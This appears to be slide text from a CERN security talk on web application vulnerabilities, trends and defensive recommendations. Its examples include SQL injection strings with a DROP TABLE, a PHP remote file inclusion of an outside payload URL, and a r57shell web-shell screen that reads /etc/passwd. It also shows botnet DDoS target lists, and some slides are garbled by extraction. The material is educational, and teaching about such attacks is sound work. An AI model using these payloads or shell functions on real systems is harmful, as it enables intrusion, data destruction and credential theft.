Web applications security

Romain Wartel, CERN IT
EGEE Operational Security Coordination Team
• **Difficult to keep up-to-date with security patches:**
  - Auto-update often unavailable/impossible
  - Must actively monitor announcements lists
  - Customisation of the application is often required
  - Difficult to detect insecure or unpatched versions by running network-level scans

• **A better software design and packaging would help**
• **Web applications are easy targets for attackers:**
  – Web Applications often provide non mature code compared to traditional network services
  – Automated attacks are effective/scalable
  – Many exploits are remotely executable, cross-platform, and require no compilation
  – Vulnerable services easily identifiable/searchable

• **What is the motivation to attack Web applications?**
  – Attackers choose the easiest target to obtain CPU/bandwidth
  – Obtain OS or back-end database access for further attacks
  – Mostly money (Phishing, SPAM, extortion/DDoS, Click fraud)
  – User-friendly, professionally supported, malware toolkits
Security vulnerabilities

• There are different common Webapps vulnerabilities:
  – Cross-Site Scripting (XSS)
  – SQL injection
  – SSI injection/Remote file inclusion (RFI)
  – Code injection
  – Cross-Site Request Forgery (CSRF)

http://osvdb.org/browse.php
Cross-site Scripting (XSS)

Error: Unknown user

Error: **HTMLcode**
**SQL Injection**

```
SELECT foo FROM sometable WHERE user='\$user\' and password='\$pass\';
SELECT foo FROM sometable WHERE user='romain' and password='secret';
```

```
SELECT foo FROM sometable WHERE user='\'' OR '1'='1' and password='anything';
SELECT foo FROM sometable WHERE user='romain' and password='\'\'; DROP TABLE foo; --';
```
Remote File inclusion

<?php
require($_GET['$usetemplate']);
?>

<?php
require('http://foo.com/payload.php');
?>

<?php
SELECT foo FROM sometable WHERE user='anything' OR '1'='1' and password=''; DROP TABLE users; --
?>

<?php
SELECT foo FROM sometable WHERE user='romain' and password='';
?>

News

EVIL CODE
Study from the Web Application Security Consortium, conducted in 2006 against 31,373 websites

http://www.webappsec.org/projects/statistics/
Shift in the overall vulnerabilities trend

Mitre has recorded 26000 common vulnerabilities and exposures

<table>
<thead>
<tr>
<th>Rank</th>
<th>Flaw</th>
<th>TOTAL</th>
<th>2001</th>
<th>2002</th>
<th>2003</th>
<th>2004</th>
<th>2005</th>
<th>2006</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td></td>
<td>18809</td>
<td>1432</td>
<td>2138</td>
<td>1190</td>
<td>2546</td>
<td>4559</td>
<td>6944</td>
</tr>
<tr>
<td>[1]</td>
<td>XSS</td>
<td>13.8%</td>
<td>02.2% (11)</td>
<td>08.7% (2)</td>
<td>07.5% (2)</td>
<td>10.9% (2)</td>
<td>16.0% (1)</td>
<td>18.5% (1)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>2595</td>
<td>31</td>
<td>187</td>
<td>89</td>
<td>278</td>
<td>728</td>
<td>1282</td>
</tr>
<tr>
<td>[2]</td>
<td>buf</td>
<td>12.6%</td>
<td>19.5% (1)</td>
<td>20.4% (1)</td>
<td>22.5% (1)</td>
<td>15.4% (1)</td>
<td>09.8% (3)</td>
<td>07.8% (4)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>2361</td>
<td>279</td>
<td>436</td>
<td>268</td>
<td>392</td>
<td>445</td>
<td>541</td>
</tr>
<tr>
<td>[3]</td>
<td>sql-inject</td>
<td>09.3%</td>
<td>00.4% (28)</td>
<td>01.8% (12)</td>
<td>03.0% (4)</td>
<td>05.6% (3)</td>
<td>12.9% (2)</td>
<td>13.6% (2)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1754</td>
<td>6</td>
<td>38</td>
<td>36</td>
<td>142</td>
<td>588</td>
<td>944</td>
</tr>
<tr>
<td>[4]</td>
<td>php-include</td>
<td>05.7%</td>
<td>00.1% (31)</td>
<td>00.3% (26)</td>
<td>01.0% (13)</td>
<td>01.4% (10)</td>
<td>02.1% (6)</td>
<td>13.1% (3)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1065</td>
<td>1</td>
<td>7</td>
<td>12</td>
<td>36</td>
<td>96</td>
<td>913</td>
</tr>
<tr>
<td>[5]</td>
<td>dot</td>
<td>04.7%</td>
<td>08.9% (2)</td>
<td>05.1% (4)</td>
<td>02.9% (5)</td>
<td>04.2% (4)</td>
<td>04.3% (4)</td>
<td>04.5% (5)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>888</td>
<td>127</td>
<td>110</td>
<td>34</td>
<td>106</td>
<td>196</td>
<td>315</td>
</tr>
<tr>
<td>[6]</td>
<td>Infoleak</td>
<td>03.4%</td>
<td>02.6% (9)</td>
<td>04.2% (5)</td>
<td>02.8% (6)</td>
<td>03.8% (5)</td>
<td>03.8% (5)</td>
<td>03.1% (6)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>646</td>
<td>37</td>
<td>89</td>
<td>33</td>
<td>98</td>
<td>175</td>
<td>214</td>
</tr>
<tr>
<td>[7]</td>
<td>dos-malform</td>
<td>02.8%</td>
<td>04.8% (3)</td>
<td>05.2% (3)</td>
<td>02.5% (8)</td>
<td>03.4% (6)</td>
<td>01.8% (8)</td>
<td>02.0% (7)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>521</td>
<td>69</td>
<td>111</td>
<td>30</td>
<td>86</td>
<td>83</td>
<td>142</td>
</tr>
<tr>
<td>[8]</td>
<td>link</td>
<td>01.8%</td>
<td>04.5% (4)</td>
<td>02.1% (9)</td>
<td>03.5% (3)</td>
<td>02.8% (7)</td>
<td>01.9% (7)</td>
<td>00.4% (16)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>341</td>
<td>64</td>
<td>45</td>
<td>42</td>
<td>72</td>
<td>87</td>
<td>31</td>
</tr>
<tr>
<td>[9]</td>
<td>format-string</td>
<td>01.7%</td>
<td>03.2% (7)</td>
<td>01.8% (10)</td>
<td>02.7% (7)</td>
<td>02.4% (8)</td>
<td>01.7% (9)</td>
<td>00.9% (11)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>317</td>
<td>46</td>
<td>39</td>
<td>32</td>
<td>62</td>
<td>76</td>
<td>62</td>
</tr>
<tr>
<td>[10]</td>
<td>crypt</td>
<td>01.5%</td>
<td>03.8% (5)</td>
<td>02.7% (6)</td>
<td>01.5% (9)</td>
<td>00.9% (16)</td>
<td>01.5% (10)</td>
<td>00.8% (13)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>278</td>
<td>55</td>
<td>58</td>
<td>18</td>
<td>22</td>
<td>69</td>
<td>56</td>
</tr>
</tbody>
</table>

There is a clear shift to XSS (1), SQL injection (2) and RFI (3).

Web applications security

Recommendations
**Do NOT trust ANYTHING coming from a browser**

**Additional hints**
- Check all input by design, even if not directly visible to users
- Use the validation functions provided by your environment (try to avoid re-inventing the wheel)
- Never solely rely on the security of the framework
- Keep your framework up-to-date – it can be a target (ex: CVE-2007-0041, CVE-2007-3495, CVE-2007-2385)
- Beware of the information revealed by error messages/pages
- Require (re)-authentication for privileged operations
- Keep your support lists private
• **Try to apply all security patches in a timely manner**
  – Subscribing a generic email address to the announcement list of the Web application vendor usually helps

• **Whenever possible, implement additional safeguards**
  – Ex: SELinux, ModSecurity (http://www.modsecurity.org/)

• **Try to compartmentalise Web applications**

• **Avoid customised installation and avoid plugins**

• **Change the default password(s)**

• **Follow recommendations about monitoring and logging**
Security teams

- Inform the service managers, developers and users about the risks of Web applications

- Encourage privileged staff to use two different Web browsers

- Try to encourage your organisation to run centrally managed Web applications
  - Ex: Wikis

- Try to reduce the exposure of the Web services
• Do not ignore security warnings from the Web browser

• **Whenever possible, disable Javascript/Flash/ActiveX**
  Ex: Firefox “NoScript”

• **Avoid following links to sensitive portals and type the URL by hand**

• **Whenever possible, logout as soon as possible and/or close your browser when your session is completed**

• **Whenever available, use SSL**
• There is a clear shift towards Web applications in the vulnerabilities trends

• Exploits are easy to builds and targets easy to find

• Sanitising all user input is essential

• It is essential to adapt our code to these threats
r57shell 1.3

```
13:06 2007-10-32:57 [ phpinfo ] [ php-list ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]
safe_mode: OFF PHP version: 4.3.0 curl: ON MySQL: ON MSSQL: OFF Postgresql: OFF Oracle: OFF
Disable functions: NONE
HDD Free: 15.12 GB HDD Total: 17.37 GB
```

```
username: Linux
sysctl: Linux 2.6.9-42.0.19.E1.lernmp
$OS: linux-gmp
Server: Apache/2.0.52 (Red Hat)
uid: 504 (apache) gid: 504 (apache) groups: 33767, 46114, 48 (apache)
context:root:system:
```

```
pwd: /var/www/html ( drwxr-x-x )
```

```
Executed commands: ls -la

```
```
    total 128
    1566752 drwxr-x-x  2 root root 4096 Sep 13 10:32 .
    1566752 drwxr-x-x  2 root root 4096 Jul 15 09:13 ..
    1567662 -rwxr-xr-x  1 root root 103431 Sep 13 10:32 r57shell.php
```
```
:: Execute command on server ::

Run command:
Work directory: /var/www/html

:: Edit files ::

File for edit: /var/www/html

:: Find text in files ::

Find text:
In dir: /var/www/html
Only in files: .htaccess

:: Search text in files via find ::

Find in folder: /var/www/html
Find in files: *.ht*

:: Eval PHP code ::

```
/* delete script */
unlink("r57shell.php");
readfile("/etc/passwd");
```

:: Upload files on server ::

Local file:
New name:

:: Unload files from remote server ::

Done
http://pandalabs.pandasecurity.com/archive/PINCH_2C00_-THE-TROJAN-CREATOR.aspx
XRumer

XRumer is the premier automated link-building tool. Through the use of this tool you will see a significant increase in the number of unique visitors to your site, as well as see your site jump in the search engine result pages. The tool is popular among both novices and gurus because of both its flexibility, power, and effectiveness. XRumer is extremely reliable and its fully automated workflow makes link-building a breeze.

Details... | Frequently asked questions | Price formation

Hrfer

We could call it the heart of XRumer to which Hrfer is a FREE supplement. What it does is simply collects the links to forums, blogs, wikis, guestbooks, etc. However, the features of this software make Hrfer the ideal companion to XRumer. Hrfer is able to parse several major Search Engines with highly diversified queries for maximum efficiency. Advanced options allow a user to specify additional parameters to SE queries such as domain zone filtering, the type of needed links (e.g. forums or guestbooks), complete anonymity through constantly updated list of proxy-servers; collected links are stored in a .txt file for maximum flexibility of use (no proprietary formats here!). Ease of use and the amazing results make Hrfer the unconquered leader in link collecting.

Note: XRumer purchasers get Hrfer for free!
Types of human verification codes that can recognize XRumer

**aANoBLUE 269806**

**BH2DAH 157**

628149

Types of human verification codes that can recognize XRumer 2.0

**HC2G3S**

**250024**

**KOHUCESA**

**M74S6S**

Types of human verification codes that can recognize XRumer 2.5

**bf7wv3**

**8699A0Z0**

**MPTQD**

**PAWN**

Please retype this code below: **F6DC**

To avoid spammers, please enter **57790** into the following box

Types of human verification codes that can recognize new version - XRumer 2.9

**RYBLUP**

**545592**

**153625**

**ZGWCQD**
<table>
<thead>
<tr>
<th>ID</th>
<th>Target</th>
<th>Total Bots</th>
<th>Start Time</th>
<th>Stop Time</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>1635846956</td>
<td><a href="http://24.ru/">http://24.ru/</a></td>
<td>1366</td>
<td>2007/05/14 07:00</td>
<td>2007/05/14 08:00</td>
<td>STOP</td>
</tr>
<tr>
<td>6641700916</td>
<td>83.222.143.255</td>
<td>12133</td>
<td>2007/05/14 08:00</td>
<td>2007/05/17 08:00</td>
<td>START</td>
</tr>
<tr>
<td>2032543259</td>
<td>haus.org</td>
<td>7489</td>
<td>2007/05/14 08:00</td>
<td>2007/05/14 19:00</td>
<td>STOP</td>
</tr>
<tr>
<td>2092179710</td>
<td>58k.cc</td>
<td>6925</td>
<td>2007/05/14 08:00</td>
<td>2007/05/16 08:00</td>
<td>START</td>
</tr>
<tr>
<td>8873463168</td>
<td>128.1</td>
<td>7094</td>
<td>2007/05/14 08:00</td>
<td>2007/05/14 19:00</td>
<td>STOP</td>
</tr>
<tr>
<td>1317524944</td>
<td><a href="http://www.xxx.com">http://www.xxx.com</a></td>
<td>7456</td>
<td>2007/05/14 08:00</td>
<td>2007/05/15 08:00</td>
<td>STOP</td>
</tr>
<tr>
<td>147661261</td>
<td><a href="http://www.security">http://www.security</a></td>
<td>7465</td>
<td>2007/05/14 08:00</td>
<td>2007/05/16 08:00</td>
<td>STOP</td>
</tr>
<tr>
<td>961050932</td>
<td><a href="http://forum">http://forum</a></td>
<td>7474</td>
<td>2007/05/14 08:00</td>
<td>2007/05/15 08:00</td>
<td>STOP</td>
</tr>
<tr>
<td>1054577470</td>
<td>hack.ru</td>
<td>7959</td>
<td>2007/05/14 08:00</td>
<td>2007/05/15 08:00</td>
<td>STOP</td>
</tr>
<tr>
<td>1350451754</td>
<td><a href="http://www.xxx.com">http://www.xxx.com</a></td>
<td>8557</td>
<td>2007/05/14 08:00</td>
<td>2007/05/15 09:00</td>
<td>STOP</td>
</tr>
<tr>
<td>1050503850</td>
<td>80.241.230.1</td>
<td>9191</td>
<td>2007/05/14 08:00</td>
<td>2007/05/16 03:00</td>
<td>START</td>
</tr>
</tbody>
</table>

http://pandalabs.pandasecurity.com
Web applications security

Questions?
References

http://cern.ch/security/webapps/
http://cern.ch/security/SecureSoftware/checklist.htm
http://www.honeynet.org/papers/webapp/
http://pandalabs.pandasecurity.com/archive/Cybercrime_2E002E002E00_-_for-sale-_2800_Il_290C
http://www.oreillynet.com/onlamp/blog/2006/04/informal_thoughts_on_ajax_and.html
http://www.sourcerally.net/regin/8-The-PHP-coder's-top-10-mistakes-and-problems
http://www.securityfocus.com/archive/1/478553
http://acmqueue.com/modules.php?name=Content&pa=showpage&pid=496
http://blogs.zdnet.com/Ou/?p=226
http://shiflett.org/articles/foiling-cross-site-attacks